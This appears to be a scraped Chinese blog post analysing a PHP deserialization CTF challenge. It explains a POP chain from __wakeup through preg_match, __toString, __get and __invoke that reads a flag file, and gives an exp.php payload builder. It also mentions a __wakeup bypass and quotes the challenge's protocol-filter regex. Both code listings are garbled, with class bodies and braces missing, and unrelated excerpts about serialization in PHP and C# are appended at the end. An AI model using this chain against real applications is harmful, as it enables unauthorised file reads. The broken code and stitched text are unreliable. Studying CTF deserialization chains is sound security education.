一道反序列化題的分析

2022-03-08 18:38:11 字數 2757 閱讀 1280

來自於prontosil師傅的文章

<?php 

error_reporting(1);

class

read

public

function

__invoke()

}class

show

public

function

__tostring()

public

function

_show()

else

}public

function

__wakeup()

}}class

test

public

function __get($key

)

}if(isset($_get['hello']))

else

這篇文章是無意中手機上看到的文章,真的覺得這種構造鏈很有意思,所以自己分析了一波。跟這位師傅一樣,可能一連串的鏈已經想好如何構造了,但是就是卡在最關鍵的一步,最開始的一步如何去呼叫__tostring()呢。下面具體來分析,原文是有注釋的,我這裡刪除了。還沒看下文的師傅,自己分析一波看看,沒必要直接看分析。

最初始的第一步看需要輸入的引數

如果存在hello欄位輸入就會反序列化操作,如果不存在就會new乙個show類,構造方法初始index.php,在呼叫_show(),輸出index.php檔案

我們分析完最基礎的一步,沒什麼用。主要是反序列化鏈的構造。

我們可以看到file_get(),目的就是呼叫read類中的file_get讀取到flag檔案。

我們看到test類中的__get()和read中的__invoke()的魔術方法

_get魔術方法: 當訪問類中的私有屬性或者是不存在的屬性,觸發__get魔術方法

__invoke魔術方法 : 當類的乙個物件被當作函式呼叫的時候觸發

這裡就是要通過__get方法將$p賦值為new read(),然後將read作為函式呼叫就會觸發__invoke方法,將$var賦值為flag位址就可以讀到flag

那問題來了,如何去觸發__get魔術方法呢。

在show類中,還有乙個__tostring()魔術方法,當類作為字串使用時觸發__tostring()

如果能觸發__tostring的話,就可以將str['str'] new成test類,呼叫source這樣test類不存在的屬性時,就觸發了__get魔術方法

但是問題又來了,誰來觸發__tostring()呢

第三層我一開始跟這位師傅一樣,完全沒有想到,__wakeup,之前做的題目一般都是需要繞過__wakeup,因為在反序列化一開始就會呼叫__wakeup魔術方法,所以一開始就把這個魔術方法作為需要bypass的東西,然後這卻是我們最需要利用的最開始的一步。

原因在於preg_match會將$this->source作為字串來使用,去執行匹配。

if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source))
因而如果將 source賦值乙個new show類的話,在反序列化一開始呼叫__wakeup,preg_match觸發__tostring。這樣就達成了上述的條件。

完整的鏈

preg_match()->__tostring()->__get()->invoke()
這裡自己分析完寫了乙個exp.php

<?php 

class

read

class

show

class

test

$a=new

show();

$a->source=$a; //

觸發__tostring

$a->str['str']=new

test();

$a->str['str']->p=new

read();

echo

serialize($a);

本地phpstudy搭建了乙個環境

base64解碼得到flag

對於寫這篇文章師傅後期分析的繞過__wakeup方法,只要序列化字串中屬性個數大於本身的類的屬性個數即可繞過,以前在哪個比賽中已經用過這個繞過。一時想不起來,以至於我一開始看到__wakeup,就覺得需要繞過,而不是去利用。

PHP序列化與反序列化例項分析

物件也是一種在記憶體中儲存的資料型別,他的壽命通常隨著生成該物件的程式的終止而終止。有時候可能需要把物件的狀態儲存下來,需要時再將其回覆。序列化是把每個物件轉化為二進位制字串。function say function run 序列化的時候自動呼叫,成員 被忽略,只序列 name,age funct...

C 的序列化和反序列化

序列化就是把乙個物件儲存到乙個檔案或資料庫欄位中去,而反序列化則是把這個檔案再轉化成原來的物件來使用,他的特點就是儲存為二進位制物件 bin檔案 優點就是容易儲存和取出。我們也可以理解為序列化就是儲存,反序列化就是取出。二進位制的關鍵字 binaryformatter 序列化關鍵字 serializ...

C 的序列化與反序列化

最近看了一下同事寫的 其中包含這麼乙個功能,叫序列化與反序列化。說一下概念,序列化 將資料結構或物件轉換成二進位制串的過程 反序列化 將在序列化過程中所生成的二進位制串轉換成資料結構或者物件的過程 很多情況下,我們需要將資料進行持久化操作,即將資料寫入到檔案中,我們可以通過io操作,或者序列化操作。...